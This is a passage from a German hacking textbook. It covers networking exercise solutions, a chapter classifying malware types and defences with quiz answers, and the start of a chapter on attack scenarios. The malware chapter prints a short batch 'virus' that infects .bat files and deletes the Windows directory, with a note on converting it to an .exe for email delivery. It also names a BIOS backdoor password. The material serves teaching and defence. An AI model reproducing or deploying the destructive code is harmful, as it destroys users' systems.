• In diesem Subnetz können maximal 126 Geräte betrieben werden (128 – Broadcast – Gateway). 2.3 Die Subnetzmaske für das kleinste Netz lautet 255.255.248.0. 2.4 Folgende Dienste verbergen sich hinter den gegebenen Portnummern: • 9: „Discard“. (TCP und UDP) Dieser Dienst, der zu Testzwecken verwendet werden kann, verwirft alle Anfragen ohne Rückmeldung. • 13: „Daytime“. (TCP und UDP) Dieser Dienst sendet das aktuelle Datum und die Uhrzeit des angefragten Systems zurück. • 79: „Finger“. (TCP) Dieser Dienst wurde ursprünglich verwendet, um Daten über einen Nutzenden auf einem fremden Dienst zu erfahren. Da dieser Dienst als Sicherheitsleck gewertet wird, wird dieses Protokoll in der Regel durch eine Firewall blockiert. 2.5 Die eigene IP-Adresse, die lokal verwendet wird, erfahren Sie mit den Befehlen „ipconfig“ (Windows) oder „ifconfig“ (Linux, iOS) in einer Shell. Für die verwendete öffentliche IP-Adresse Ihres Systems gibt es zahlreiche Werkzeuge im Internet, wie zum Beispiel https:// www.whatismyip.com/de/. 2.6 Wenn Sie Ihre eigene öffentliche IP-Adresse mit einem Tool wie https://www. whatismyip.com/de/ erfragen, werden Sie feststellen, dass sich Ihre IP-Adresse immer wieder ändert. 2.7 Die lokale IP des Testrechners können Sie mit dem Kommando „ifconfig -a“ auf der Konsole erfahren. Wenn Sie sich mit dem Arbeitsrechner auf dem Testrechner per „ssh“ anmelden, müssen Sie bei der ersten Anmeldung den „fingerprint“ bestätigen. Anschließend werden Sie nach dem gültigen Passwort gefragt. 2.8 Die Anmeldung an den Kali-Rechner sollte genauso ablaufen wie in Aufgabe 2.7. 2.9 Wenn Sie die Aufgaben in der angegebenen Reihenfolge abgeschlossen haben, sollten Sie folgende Meldung sehen: PORT STATE 22/TCP open
SERVICE ssh
Alle weiteren Ports sollten zu diesem Zeitpunkt geschlossen sein.
32
2 Grundlagen
Literatur 1. Wikipedia: Liste von Betriebssystemen. https://de.wikipedia.org/wiki/Liste_von_/ Betriebssystemen (2022). Aufgerufen am 31. Mai 2022 2. Krempl S.: Tor-Netzwerk: KAX17 führt massive Deanonymisierungsangriffe durch. https:// www.heise.de/news/Tor-Netzwerk-KAX17-fuehrt-massive-Deanonymisierungsangriffe-durch6286564.html (2021). Aufgerufen am 31. Mai 2022
3
Die Mechanismen verschiedener Arten von Schadsoftware
Eine Schadsoftware (oder auch Malware) ist Software, die Rechner beschädigt, außer Betrieb setzt oder Dritten einen Zugang zu einem System verschafft. Es gibt viele Varianten von Schadsoftware, die sich je nach Schadfunktion unterscheiden (Tab. 3.1). Die eindeutige Klassifizierung einer Schadsoftware ist oft nicht möglich, sodass diese Varianten seit einiger Zeit nicht mehr separat betrachtet werden können. Eine Schadsoftware umfasst heute mehrere Eigenschaften und nutzt verschiedene Verbreitungswege oder die konkrete Schadfunktion wird erst nachgeladen, nachdem ein System infiziert wurde. So spricht man beispielsweise von der „Wurmfähigkeit“ einer Malware, wenn sie die Eigenschaft besitzt, sich selbst in einem Netzwerk zu verbreiten. Es ist trotzdem wichtig, die verschiedenen Verhalten als Schadverhalten zu kennen, um sich bei einem erkannten Angriff entsprechend zur Wehr setzen zu können. Die weitere Ausbreitung einer wurmfähigen Schadsoftware kann man zum Beispiel eindämmen, indem man potenziell angreifbare Systeme abschaltet oder vom Netz trennt. Eine typische Schadsoftware verbreitet sich als Wurm und infiziert Programme (Virus), beinhaltet einen Trojaner und lädt als Schadfunktion eine Verschlüsselungskomponente nach oder sie zielt verstärkt auf bestimmte Unternehmen oder sie ist nur das Eingangstor für konzentrierte Angriffe auf kritische Infrastrukturen. Die Verbreitungswege von Schadsoftware sind vielfältig. Am bekanntesten dürfte wohl E-Mail-Spam mit Schadsoftware in Anhängen oder mit Links auf bösartige Webseiten sein. Aber auch bösartige Suchmaschinenoptimierung, bei denen Malwareseiten bei Suchanfragen ganz oben auftauchen oder das Schalten von Werbung mit Links auf bösartige Webseiten in harmlosen Internetseiten sind möglich. Bedingt wird dies durch das automatisierte Buchen von Werbeanzeigen über die Nutzung eines regulären Werbeportals. Gehackte Webseiten sind ebenfalls eine große Gefahr, weil dort Malware eingebettet sein kann. Unter KlickJacking versteht man das klicken von Nutzern auf scheinbar harmlose Inhalte, die Schaltflä© Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_3
33
34
3 Die Mechanismen verschiedener Arten von Schadsoftware
Tab. 3.1 Varianten von Schadfunktionen Typ
Schadfunktion
Trojaner
Gaukelt eine Funktion vor, macht aber noch etwas ganz anderes im Hintergrund
Virus
Infiziert installierte Programme
Backdoor
Fügt einen Zugang für Fremde zu einem System ein
Wurm
Verbreitet sich selbständig in einem Netzwerk weiter
Rootkit
Gut versteckter Fremdzugang mit Administratorrechten (Linux: Root)
Spyware
Schnüffelsoftware die das Nutzerverhalten ausspäht
Ransomware
Erpressersoftware. Verschlüsselt Dateien, Erpresser verlangt Lösegeld (Ransom), um die Dateien wieder lesbar zu machen
Botnet-Client
Fügt einen Rechner als in ein Netz ferngesteuerter Rechner ein
Adware
Software, die dem Nutzer Werbung zeigt oder weitere Software installiert
chen von Systemeinstellungen überlagert sind. Spear Phishing bezeichnet den Angriff auf besonders herausgehobener Personen in einer Einrichtung. Hier hilft öffentlich verfügbares Wissen, das über ein vorangestelltes Footprinting gesammelt werden konnte. Schließlich werden immer wieder gefährliche Lücken in Browsern erkannt, die es Angreifern ermöglichen, Downloads quasi im Vorbeigehen auszulösen, was die automatische Installation von Malware beim Aufruf einer Internetseite erlaubt.
3.1
Trojaner
Ein Trojaner ist ein Programm, das in einer harmlosen Hülle Schadsoftware versteckt, die einen Rechner übernimmt und Schadfunktionen ausführt. Ein Trojaner besitzt also immer eine nützliche Funktion, die das Opfer dazu bringt die Software zu installieren und durch bestimmte Nutzeraktionen eine Schadfunktion auszuführen. Die Schadfunktion ist in der Regel versteckt in Daten, Makros oder ausführbaren Dateien. Solche Schadfunktionen sind vom Opfer meist erkennbar durch ungewöhnliches System- oder Netzwerkverhalten, wie beispielsweise die unerwünschte Deaktivierung der Antivirensoftware oder die Umleitung zu unbekannten Webseiten. Viele Trojaner öffnen einen verdeckten Kommunikationskanal (Port) zwischen einem befallenen Rechner und dem Server der Angreifer, um sensible Daten zu übertragen. Diese Kommunikation kann meist beobachtet werden, wenn plötzlich bestimmte Ports für den Datenaustausch verwendet werden, die vorher nicht belegt waren. Einige bekannte Trojaner machen sich durch auffälligen Datentransfer über bestimmte Systemports bemerkbar. Typische Schadfunktionen für einen Trojaner sind also: • Deaktivieren von Firewalls und Antivirensoftware; • Löschen oder Ersetzen von OS-Dateien (Datum der letzten Änderung);
3.1 Trojaner
• • • • •
35
Generieren von DoS-Daten oder entsprechendem Datenverkehr; Einrichten von Backdoors mit Kommunikation zu den Servern der Angreifer; Aufzeichnen von Screenshots, Übertragen von Audio, Video oder Dateien; Nachladen von Schadcode; Passwörter, Sicherheitscodes, Kreditkarteninformationen über Keylogger aufzeichnen und übertragen.
Ein typischer Ablauf einer Infektion mit einem Trojaner ist in Abb. 3.1 dargestellt. Zunächst lockt ein Angreifer das Opfer über eine E-Mail auf eine infizierte Webseite. Diese Seite ist in der E-Mail durch einen Link „Jetzt live verfolgen“ kaschiert (1). Sobald das Opfer auf den Link klickt (2), lädt der Angreifer automatisch den Schadcode auf den Rechner des Opfers (3). Wird dieser Schadcode ausgeführt, werden sensiblen Daten auf den Rechner des Angreifers geladen (4). Die einfachste Möglichkeit, sich gegen einen solchen Angriff zu wehren, besteht darin, nicht auf einen solchen Link zu klicken. Ist man sich unsicher, weil zufällig eine solche Nachricht erwartet wird, reicht es, mit dem Mauszeiger über den Link zu fahren, ohne diesen anzuklicken. Wird hier eine dubiose HTTP-Linkadresse angezeigt, sollen Sie keinesfalls auf den Link klicken, sondern die Mail umgehend löschen oder in den Spam-Ordner verschieben.
Abb. 3.1 Typischer Ablauf einer Infektion mit einem Trojaner
36
3.2
3 Die Mechanismen verschiedener Arten von Schadsoftware
Viren
Viren sind Schadprogramme, die installierte Programme auf dem Rechner des Opfers infizieren und sich auf diese Weise selbst verbreiten. Sie haben in der Regle keine nützliche Funktion wie Trojaner. Die Verbreitung von Viren erfolgt indem sie weitere geeignete Programme auf einem Rechner suchen und infizieren. Viren sind oft sehr einfach zu implementieren, was in einem kleinen Beispiel dokumentiert werden soll. Der Quelltext 3.2 für diesen Virus könnte zum Beispiel in einer Datei „neuesSpiel.bat“ gespeichert sein. Dieses kleine Beispiel enthält alle Charakteristika eines Virus: Es ist ein Schadprogramm, das andere Programme infiziert, indem es sich ans Ende von Batch-Dateien mit der Endung „.bat“ anhängt, und es enthält eine Schadfunktion. Diese besteht darin, dass das Windows-Verzeichnis gelöscht wird, in dem sich wichtige Systemroutinen zum Betrieb des Rechners befinden. Der Quellcode lautet: Beispiel eines einfachen Virus @echo off for %f in (*.bat) do copy %f + neuesSpiel.bat del c: Windows *.*
Mit dem Werkzeug „bat2exe“ lässt sich dieser Quellcode in eine Datei „neuesSpiel.exe“ konvertieren, die als E-Mail-Anhang an das Opfer gesendet werden kann. Klickt das Opfer auf den Anhang und arbeitet es mit einem Administratoraccount auf einem Windows-Rechner, kopiert sich der Virus an alle Batch-Dateien des aktuellen Verzeichnisses und löscht anschließend das Windows-Verzeichnis. Damit ließe sich der Rechner des Opfers nicht mehr betreiben und muss neu aufgesetzt werden. Im Netz kursieren zahlreiche webbasierte Virengeneratoren, mit denen auch Angreifer ohne tiefere Systemkenntnisse neue Computerviren mit diversen Schadfunktionen über ein paar Mausklicks erstellen können. Nur so ist es zu erklären, dass täglich mehrere Hunderttausend neue Computerviren in Umlauf gebracht werden können.
3.3
Backdoor
Ein Backdoor (Hintertür) ist ein Teil einer Software, die es den Angreifern ermöglicht, unter Umgehung der normalen Zugriffssicherung, Zugang zu einem System zu erlangen. Oft werden Backdoors vom Autor einer Software eingebaut, um für Testzwecke leichter in
3.5
Rootkit
37
ein System zu kommen. Manchmal wird das Entfernen dieses besonderen Zugangs bei der Auslieferung der fertigen Software schlicht vergessen, sodass es im ausgelieferten Produkt enthalten ist. In manchen Fällen werden Backdoors aber auch vom Hersteller absichtlich in das System eingebaut oder bestehen aus fest in das System integrierten Zugangscodes. Ein bekanntes Beispiel hierfür ist der von Award Software über mehrere Jahre vergebene Hash-Code, der mit dem BIOS-Universalpasswort „lkwpeter“ [1] bedient wird. Im Jahr 2013 wurde bekannt, dass Cisco-Router mit Backdoors für US-Geheimdienste versehen sind [2]. Wird so ein Zugang über ein Backdoor in Hackerkreisen bekannt, können Cyberkriminelle Schaden anrichten, bis Konfigurationsänderungen oder Updates die Lücke geschlossen haben. Eine besondere Gefahr besteht dabei durch Closed Source, der Sicherheitsforschern nicht zur Überprüfung zur Verfügung steht. Aber auch in Open-Source-Software wurden schon Backdoors gefunden.
3.4
Computerwurm
Bei einem Computerwurm handelt es sich um Schadsoftware, die sich selbständig in einem Netzsegment verbreitet, wenn sie einmal ausgeführt wurde. Der Unterschied zu einem Computervirus besteht darin, dass sich der Wurm auf andere Rechner überträgt, ohne installierte Programme in einem System mit seinem Schadcode infizieren zu müssen. Computerwürmer nutzen oft Sicherheitslücken in Rechnern, die nicht auf dem neusten Stand sind oder für die es noch keine entsprechenden Updates gibt. Die besondere Gefahr von Computerwürmern besteht darin, dass sie immer wieder versuchen, sich auf bereits infizierte Rechner zu installieren und dadurch das Netz durch exponentielle Verbreitung überlasten (Schneeballsystem). In diesem Fall hilft nur das (Teil)Abschalten des Netzes, weil in einem derart überlasteten Netz keine Administration der Rechner mehr möglich ist. Immer wieder kommt es vor, dass Cyberkriminelle bei der Programmierung ihrer Computerwürmer die Auswirkungen eine solchen Schneeballsystems unterschätzen. Für Computerwürmer gibt es zahlreiche Verbreitungswege: Sie können sich über EMail, Instant-Messenger, Internet Relay Chat (IRC), Peer-to-Peer-Direktverbindung (P2P), Wechseldatenträger (USB-Stick, USB-Kleincomputer) oder zwischen mobilen Endgeräten (Handywürmer) verbreiten. Besonders kritisch wird ein Computerwurm, wenn er eine Sicherheitslücke nutzt, für die es noch keinen Patch gibt (Zero-Day-Lücke) oder wenn dieser geeignet ist, eine Schadfunktion nachzuladen und auszuführen.
3.5
Rootkit
Ein Rootkit ist eine Sammlung von Administrationswerkzeugen, die es einem Angreifer ermöglicht, Zugang zu einem System zu erlangen, darüber hinaus aber weitere Werkzeuge zur Systemadministration beinhaltet. Mit diesen Werkzeugen können Prozesse gestartet oder
38
3 Die Mechanismen verschiedener Arten von Schadsoftware
umbenannt, sowie Dateien im Dateisystem modifiziert werden. Es gibt verschiedene Arten von Rootkits: • Application-Rootkits: Modifizierte Systemprogramme. • Kernel-Rootkits: Teile des Kernels werden durch eigenen Code ersetzt. • Userland-Rootkits: Eigene DLL, die API-Funktionen manipuliert und deren Ausführung auf eigene umlenkt. • Speicher-Rootkits: Nisten sich nur im Speicher eines Systems ein. Nach einem Neustart sind diese entfernt und hinterlassen daher keine Spuren auf der Festplatte. • Virtualisierungs-Rootkits: Verschieben das installierte Betriebssystem in eine Virtualisierungsumgebung. Virtualisierungs-Rootkits können deshalb innerhalb des Betriebssystems nicht erkannt werden. Wurde von einem Angreifer ein Rootkit installiert, ist die beste Methode die vollständige Neuinstallation eines Betriebssystems. Manche Rootkits verstecken sich jedoch im BIOS, sodass auch diese Methode keine hundertprozentige Sicherheit über die Entfernung des Rootkits bietet. In solchen Fällen hilft meist nur der Austausch der infizierten Hardware.
3.6
Spyware
Spyware ist ein Spähprogramm, das Nutzerverhalten ohne dessen Wissen ausspioniert und an den Angreifer übermittelt. Diese Daten können Telemetriedaten, das Surfverhalten im Internet oder das Sammeln von Zugangsdaten (Login, Passwort) über einen Keylogger sein. Häufig laufen mehrere Instanzen derselben Spyware parallel auf einem System, die sich gegenseitig überwachen. Wird eine Instanz von einem Administrator gestoppt, wird dies durch die zweite Instanz entdeckt und sofort neu gestartet. Keylogger gehören ebenfalls in die Klasse der Spähprogramme. Hierbei handelt es sich um Programme, die alle Tastatureingaben mitprotokollieren und den Cyberkriminellen zur Verfügung stellen. Da sich Keylogger zwischen die Tastatur und Rechnersystem einklinken, werden alle Tastaturklicks erfasst, also auch Benutzerzugänge, Passwörter und PINs, auf die es die Cyberkriminellen besonders abgesehen haben. Je nach Ausführung und Einsatzziel eines Keyloggers können entweder alle Daten gespeichert bzw. übertragen werden oder die Software erkennt Anmeldeprozesse, sodass nur diese Anmeldedaten abgegriffen werden, um Speicherplatz zu sparen.
3.9
3.7
Botnet
39
Adware
Um sich durch Werbeeinnahmen zu finanzieren, installieren Hersteller oft kleine Programme, die im Wesentlichen nur Werbung oder Demo-Versionen bestimmter Softwareprodukte enthalten. Adware enthält in der Regel keine echte Schadfunktion, kann aber durchaus das Nutzerverhalten, ähnlich wie Spyware, an den Hersteller übermitteln. Adware lässt sich wie Spyware durch bestimmte Symptome erkennen: Der Computer funktioniert außergewöhnlich langsam, besonders beim Surfen im Web, oder der Webbrowser öffnet Werbefenster, die in keinem erkennbaren Zusammenhang zu den besuchten Websites stehen. Manchmal fällt auf, dass sich die Startseite oder Suchmaschine des Webbrowsers geändert wurde, und nach der Korrektur automatisch wieder auf diese Einstellung wechselt. Ein weiteres Symptom sind neue Einträge im Lesezeichen- bzw. Favoriten-Menü, die nicht vom Benutzer gespeichert wurden. Oft verbindet sich der Computer selbständig mit dem Internet. Ist eine Firewall im Einsatz, meldet diese laufend Versuche von Programmen, die eine Verbindung zum Internet herstellen wollen.
3.8
Ransomware
Ransomware (Erpressungstrojaner, Erpressungssoftware, Kryptotrojaner oder Verschlüsselungstrojaner) sind Schadprogramme, die Dateien oder ganze Dateisysteme verschlüsseln [3]. Dabei geht es den Angreifern darum, den Zugriff des Opfers auf seine Daten oder auf das gesamte Computersystem zu verhindern. Immer wieder werden diese Angriffe mit weiteren Angriffsvektoren kombiniert oder die Daten werden vor der Verschlüsselung auf die Server der Cyberkriminellen ausgeleitet. Um den Druck auf die Opfer einer Ransomwareattacke weiter zu erhöhen, versuchen die Cyberkriminellen die Backups zu zerstören oder ebenfalls zu verschlüsseln. Damit ist das Zurückspielen der Daten als Gegenmaßnahme nicht mehr möglich. Für die Entschlüsselung oder Bekanntgabe eines Schlüssels wird ein Lösegeld (engl. Ransom) gefordert.
3.9
Botnet
Ein Botnet ist eine Gruppe von Systemen (Bot-Clients), das mit einer Schadsoftware infiziert ist, deren Schadfunktion darin besteht, bestimmte Aktionen ferngesteuert auszuführen. Ein Bot stellt dem Betreiber eines Botnetzes je nach Funktionsumfang verschiedene Dienste zur Verfügung, die nach Bedarf nachgeladen werden können. Befallen werden nicht nur leistungsfähige Rechner, sondern oft auch einfache Geräte, die am Internet hängen, wie Web-Kameras, Drucker, Router oder Netzwerkplatten (NAS, Network Attached Storage, Datenspeicher in einem Computernetzwerk). Diese Geräte haben ausreichend Leistung, um
40
3 Die Mechanismen verschiedener Arten von Schadsoftware
zum Beispiel eine DoS-Attacke auszuführen. Gleichzeitig gibt es für solche Geräte kaum Updates, sodass Sicherheitslücken selten geschlossen werden können. Insbesondere sind DSL-, LTE- oder Satellitenmodems exponiert, weil diese Geräte in der Regel rund um die Uhr mit dem Internet verbunden sind. Typische Einsatzgebiete für ein Botnet sind: • Nachladen und Ausführen weiterer Programme beziehungsweise Aktualisierung des Bots; • Angriffe zum Nachteil eines externen Opfersystems wie zum Beispiel: massenhafter Versand von Spam-Mails, insbesondere Phishing-Mails, Ausführung von Denial-of-ServiceAttacken (DOS) oder Ausführen von Klickbetrug; • Nutzung als Speichermedium für die Verbreitung illegaler Inhalte (z. B. Filesharing von geschütztem Material); • Nutzung fremder Rechenleistung (z. B. für Bitcoin-Mining). Der Ablauf eines typischen Botnetz-Angriffs erfolgt meist nach dem folgenden Schema: Zunächst werden anfällige Systeme infiziert. Anschließend werden diese Rechner in das Botnet als Bot-Clients integriert. Der Botnet-Betreiber verkauft die Dienste an seine Kunden, die diese Botnets wiederum für Spam-Wellen oder DoS-Angriffe nutzen. Die Nutzung von etablierten Botnetzen wird in zahlreichen Foren offen beworben. Die Preise für 24-Stunden-Angriffe schwanken je nach Reichweite und Größe des Botnetzes zwischen 50 und einigen tausend Dollar.
3.10
Schutz durch Virenscanner
Virenscanner sind Programme, die vor den hier beschriebenen Schadprogrammen schützen sollen. Ein Virenscanner oder auch Antivirenprogramm ist eine Software, die Schadprogramme wie z. B. Computerviren, Computerwürmer, Rootkits oder Trojaner aufspüren, blockieren und gegebenenfalls beseitigen soll. Virenscanner lesen alle Dateien einer Festplatte und berechnen Signaturen, die sie mit bekannten Signaturen von Schadsoftware in einer Datenbank vergleichen. Echtzeitscanner sind im Hintergrund als Daemon oder Systemdienst aktiviert und scannen zusätzlich alle Dateiaktivitäten, den Hauptspeicher und den Netzwerkverkehr. Wird etwas Verdächtiges erkannt, muss in der Regel der Benutzer entscheiden, ob der Zugriff blockiert, die Datei gelöscht oder in Quarantäne verschoben werden soll. Wenn möglich, startet ein Virenscanner auch einen Reparaturversuch. Virenscanner verlieren jedoch immer mehr an Bedeutung: Malware wird heute meist tagesaktuell „geliefert“, sodass die Signaturdatenbanken ständig aktualisiert werden müssten. Heuristische Ansätze finden lediglich in kleinem Umfang unbekannte Malware, sodass die Entwickler von Computerviren immer wieder Wege finden, diese zu umgehen. Öffentliche Virenscanner im Internet helfen dabei, den Malware-Entwicklern zu prüfen, ob deren
3.11
Aufgaben & Lösungen zu diesem Kapitel
41
Viren von aktuellen Scannern erkannt werden können. Virenscanner haben auch kein „unendliches“ Gedächtnis, denn die Datenbanken würden immer umfangreicher und die Scans würden mit der Zeit immer langsamer werden. So kann es immer wieder zu Situationen kommen, dass uralte Viren plötzlich wieder aktuell werden, weil ihre Signaturen aus den Signaturdatenbanken entfernt wurden. Ist ein Virenscanner deshalb überflüssig? Diese Frage wurde in verschiedenen Foren bereits kontrovers diskutiert. Ein Virenscanner ist nur eine von vielen Maßnahmen, die zum Schutz der Systeme beitragen. Der Betrieb solcher Systeme (IDS, IPS, Proxys, …) setzt in der Regel unterschiedliche und teils umfangreiche Sicherheitsmaßnahmen im Netz und im Router oder Gateway voraus! Auch heute halten Virenscanner Mainstream-Schadsoftware immer noch zurück. Sobald eine Infektionswelle mit einem neuen Virus erkannt wurde und die entsprechende Signatur in den Signaturdatenbanken hinterlegt wurde, kann die weitere Ausbreitung begrenzt werden. Versuchen Cyberkriminelle hingegen mit speziell angepassten Angriffsmethoden ein bestimmtes System anzugreifen, wird ein allgemeiner Virenscanner dem Angriff vermutlich wenig entgegenzusetzen haben. Moderne, cloudbasierte Lösungen zur Endpoint Security nutzen zusätzlich neue Machine-Learning-Ansätze (KI) oder ausgefeilte Heuristiken und setzen auf die Verbreitung der gewonnen Erkenntnisse über eine Cloud. Immer wieder versuchen Angreifer durch die Verbreitung falscher Antivirensoftware fremde Systeme zu infizieren. Dabei gehen sie manchmal so vor, dass dem Opfer eine Warnung eingeblendet wird, sein Rechner sei mit einer Malware infiziert. Um diese zu entfernen wird meist eine entsprechendes Programm angeboten, dass das Opfer installieren und ausführen soll. Meist haben diese Programme jedoch gar keine Funktion. Sie sollen das Opfer dazu bewegen, die vermeintliche Antivirensoftware zu kaufen, um an die Kreditkartendaten zu kommen oder der Rechner des Opfers wird mit der Installation der scheinbaren Antivirensoftware überhaupt erst mit Schadsoftware infiziert.
3.11
Aufgaben & Lösungen zu diesem Kapitel
3.11.1 Aufgaben 3.1 Nennen Sie einige Wege, wie sich ein System mit Schadsoftware infizieren kann. 3.2 Ordnen Sie charakteristische Malwarefunktionen dem beschriebenen Verhalten zu:
42
3 Die Mechanismen verschiedener Arten von Schadsoftware
Schadfunktion Integriert einen Rechner in ein ferngesteuertes Computernetz Fügt eine Schadfunktion in installierte Programme ein Erfüllt eine Funktion, macht aber noch etwas anderes im Hintergrund Zeigt unerwünschte Werbung Fügt einen Zugang für Fremde zu einem System ein Verbreitet sich selbständig in einem Netzwerk weiter Richtet einen Fremdzugang ein Späht das Nutzerverhalten aus Verschlüsselt Dateien
Typ
3.3 Nennen Sie einige Gründe, warum traditionelle Virenscanner nicht mehr zuverlässig gegen Schadsoftware schützen können. 3.4 Was ist Ransomware? 1. Spähprogramm, das Nutzerverhalten ohne dessen Wissen ausspioniert und dem Angreifer mitteilt. 2. Softwarefunktion, die es ermöglicht, die normale Zugangssicherung zu umgehen. 3. Schadprogramme, die installierte Programme infizieren. 4. Erpressersoftware mit dem Ziel, den Benutzer dazu zu bringen Geld für die Entschlüsselung seiner Daten zu bezahlen. 3.5 Was ist die Haupteigenschaft eines Computerwurms? 1. 2. 3. 4.
Ein Wurm kann sich selbsttätig in einem Netzwerk verbreiten. Ein Wurm fügt einen Zugang für Fremde zu einem System ein. Ein Wurm kann Programme Infizieren. Ein Wurm kann das Nutzerverhalten ausspähen.
3.11.2 Lösungen 3.1 Typische Verbreitungswege für Schadsoftware sind u. a.: • E-Mail-Anhänge • Hyperlinks auf bösartige Webseiten
Literatur
43
• Infizierte Webseiten mit eingebetteter Schadsoftware • Werbung mit Hyperlinks auf infizierte Webseiten 3.2 Die Zuordnung der Schadfunktion ist wie folgt: Schadfunktion Integriert einen Rechner in ein ferngesteuertes Computernetz Fügt eine Schadfunktion in installierte Programme ein Erfüllt eine Funktion, macht aber noch etwas anderes im Hintergrund Zeigt unerwünschte Werbung Fügt einen Zugang für Fremde zu einem System ein Verbreitet sich selbständig in einem Netzwerk weiter Richtet einen Fremdzugang ein Späht das Nutzerverhalten aus Verschlüsselt Dateien
Typ Botnet-Client Virus Trojaner Adware Backdoor Wurm Rootkit Spyware Ransomware
3.3 • • • •
Zahlreiche Varianten, die sehr einfach erzeugt werden können Verzögerung bei der Erstellung und Verbreitung von Virensignaturen Begrenzter Speicherplatz für Virensignaturen Laufzeit für die Virenscans
3.4 Antwort 4. 3.5 Antwort 1.
Literatur 1. Caloyannides M. A.: Privacy Protection and Computer Forensics, pp. 250–251. Artech House, London (2004) ISBN: 1–58053–4 2. Sönke I., Karabasz I., Koenen J. und Metzger S.: Ärger über einen Freund. Handelsblatt 109, 1–4 (2013) 3. BSI: Ransomware – Vorsicht vor Erpressersoftware. https://www.bsi.bund.de/DE/Themen/ Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/ Schadprogramme/Ransomware/ransomware_node.html (2022) Aufgerufen am 24. Apr. 2022
Teil II Cyberangriffe
4
Angriffsmechanismen
Es gibt viele Wege, wie ein konkreter Angriff gestartet werden kann. Hier einige Beispiele aus dem Internet: • Ein Headhunter ruft bei einem weltbekannten deutschen Maschinenbauer an und bietet einem Mitarbeiter eine attraktive Stelle. Im Laufe des Gesprächs wird dieser so lange ausgefragt, bis er misstrauisch wird. Mit solchem Wissen über Aufgabengebiete, Zuständigkeiten oder gar Zugriffsrechte kann eine Spear-Phishing-Attacke gestartet werden. • Eine sehr sorgfältig gestaltete E-Mail ist ein beliebtes Mittel, um Späh- oder Schadprogramme ins Netzwerk einzuschleusen: Die Absenderadresse stammt aus dem Unternehmen, die Signatur ist korrekt, die übliche Anredeformel stimmig. Im Anhang dieser E-Mail befindet sich eine Word-Datei mit dem Titel „Vorschläge zum Personalabbau“. Diese enthält einem eingebetteten Virus. • Der Angreifer speichert die Schadsoftware auf einem USB-Stick, den er auf dem Firmenparkplatz des Chefs „verliert“. Der Finder steckt den Stick an seinen Rechner, um sehen, was darauf gespeichert ist. Sofort installiert sich ein Schnüffel- oder Schadprogramm auf seinem Rechner. Über eine Verbindung zum Angreifer lässt sich dieser Rechner ab sofort fernsteuern. • Der Angreifer lädt ein infiziertes PDF-Dokument auf ein Bewerberportal. Die Stelle ist tatsächlich ausgeschrieben, die Kennziffer stimmt und das Anschreiben passt zur Stelle. Im Sekretariat des Firmenchefs wird die Datei geöffnet. Dabei wird ein Keylogger installiert, der alle Tastatureingaben sammelt und an einen Server im Ausland sendet. Auch eingegebene Nutzerkennungen und Passwörter werden an die Angreifer übermittelt. Über ein nachinstalliertes Übertragungsprogramm können die Angreifer vertrauliche Dokumente von dem Sekretariatsrechner auslesen.
© Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_4
47
48
4 Angriffsmechanismen
• Angreifer, die sich als Mitarbeitende in einer Putzfirma ausgeben, sammeln Passwörter der Mitarbeitenden unter Keyboards, an Monitoren und in Schubladen. • Eine Firmendelegation hat einen Termin bei der Firmenleitung. Beim Rausgehen bittet einer der Teilnehmer das Sekretariat, noch schnell ein PDF-Dokument von einem mitgebrachten USB-Stick für einen Folgetermin zu drucken. Auf dem USB-Stick befindet sich Malware, die beim Einstecken sofort installiert wird. • Der Mitarbeiter einer Firma wundert sich über die sich ständig wiederholenden Abfragen nach der Freigabe einer Transaktion auf seinem Mobiltelefon. Irgendwann drückt er genervt auf „ok“ um endlich Ruhe zu haben. In diesem Moment hat er den Angreifern einen Zugriff auf sein Konto erlaubt. Diese Liste lässt sich nahezu beliebig fortsetzen. Bei einer Internetrecherche ließen sich hunderte weitere Beschreibungen solcher oder ähnlicher Angriffsszenarien und konkrete Fälle finden. Für die erfolgreiche Abwehr von Angriffen ist wichtig zu verstehen, dass professionalisierte Angreifer wie ein Unternehmen organisiert sind und je nach Angriffsszenario mit spezialisierten Gruppen arbeiten (Abb. 4.1) [1]. Innerhalb eines Angriffsteams gibt es Spezialisten für bestimmte Angriffswege und Angriffsphasen. Ist ihre Aufgabe erfüllt, geben sie an die nachfolgenden Spezialisten weiter. Die Malware-Entwickler suchen nach neuen Lücken, die sich für Angriffe eignen, implementieren neue Ransomware oder analysieren Software durch Reverse-Engineering. Die Malware-Packer konfektionieren die Schadsoftware anschließend so in installierbare Pakete, dass sie sich möglichst nicht als Schadsoftware zu erkennen gibt. Das Red Team ist für
Abb. 4.1 Struktur der Arbeitsteilung eines Angriffsteams für einen Cyberangriff
4 Angriffsmechanismen
49
den eigentlichen Angriff zuständig. Es sucht nach neuen Opfern, führt das Social Engineering durch oder sucht nach verwertbaren Informationen, die für einen Angriff genutzt werden können. Bei Phishingkampagnen bedient sich das Red Team der Dienstleistung eines Botmasters für den initialen Angriff. War dieser erfolgreich, übergibt das Red Team an die Analysten, welche die abgegriffenen Daten auf Verwertbarkeit durch kooperierende Hackergruppen oder im Darknet hin untersuchen. Alternativ übergeben sie an das SupportTeam, das den Angriff mit dem Opfer abwickelt und die Kommunikation übernimmt. Die Eintreiber kümmern sich um die Lösegeldzahlungen und die Geldwäsche. Daneben gibt es eine Abteilung für die Rekrutierung des Nachwuchses und dessen Einarbeitung sowie eine Geschäftsführung, die das Angriffsteam wie ein Unternehmen koordiniert und Kontakte zu verbundenen Hackergruppen pflegt. Die Spezialisierung geht so weit, dass diese Gruppen ihre Dienstleistungen kommerziell anbieten, was als Hacking as a Service (HaaS), Ransomware as a Service (RaaS), DDoS as a Service (DDoSaaS) oder Cybercrime as a Service (CaaS) bezeichnet wird. Im Darknet sind diese Dienstleistungen als Kaufangebote in etablierten Marktplätzen verfügbar [2]. Wichtig ist in diesem Zusammenhang, dass die Angreifer immer nur so hoch springen, wie die Hürde seitens des Opfers gesteckt ist, um nicht unnötig Informationen über ihre Angriffswege oder Kenntnisse preis zu geben. Als Startpunkt für einen Angriff reicht oft ein einzelner kompromittierter Account, der zum Beispiel über eine Phishingmail oder über den unachtsamen Umgang mit Passwörtern von einem Angreifer erbeutet wurde. Meist lässt sich über VPN mit der Kenntnis eines Accounts und dem zugehörigen Passwort ein Zugang zum Firmennetz herstellen. Ab hier kann ein 